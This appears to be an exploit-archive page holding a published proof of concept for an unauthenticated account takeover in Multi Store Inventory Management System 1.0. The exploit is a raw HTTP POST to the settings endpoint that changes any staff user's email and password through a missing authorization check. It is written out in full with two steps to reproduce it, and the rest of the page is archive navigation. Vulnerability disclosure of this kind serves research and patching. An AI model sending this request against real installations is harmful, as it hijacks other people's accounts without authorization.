Multi Store Inventory Management System 1.0 Account Takeover

Authored by Saud Alenazi

Posted Apr 5, 2022

Multi Store Inventory Management System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

tags | exploit, bypass
SHA-256 | 1a2fb03891ca04bd48c2510e8d97fe8266c1a84eb9915f07b8ce0f735d80083c **Download** | **Favorite** | **View**

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: Multi Store Inventory Management System - Account Takeover (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" , "firstname" and "lastname" parameters


#Steps to Reproduce :

1. Send the below POST request by changing "id", "email", "password" parameters.

2. Log in to the user account by changed email and password.


################################################


POST /multistore_demo/dashboard/home/setting HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------246162487211952414471071914687
Content-Length: 1645
Origin: http://localhost
Connection: close
Referer: http://localhost/multistore_demo/dashboard/home/setting
Cookie: ci_session=31504fa8fdcd43505beff1b210056ec12d5d8405
Upgrade-Insecure-Requests: 1

-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="id"

1
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="firstname"

saud
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="lastname"

test
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="email"

s3od@hi.com
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="password"

admin123
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="about"


-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="old_image"


-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------246162487211952414471071914687--
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: **November 2022 <**

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

Login or Register to add favorites

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other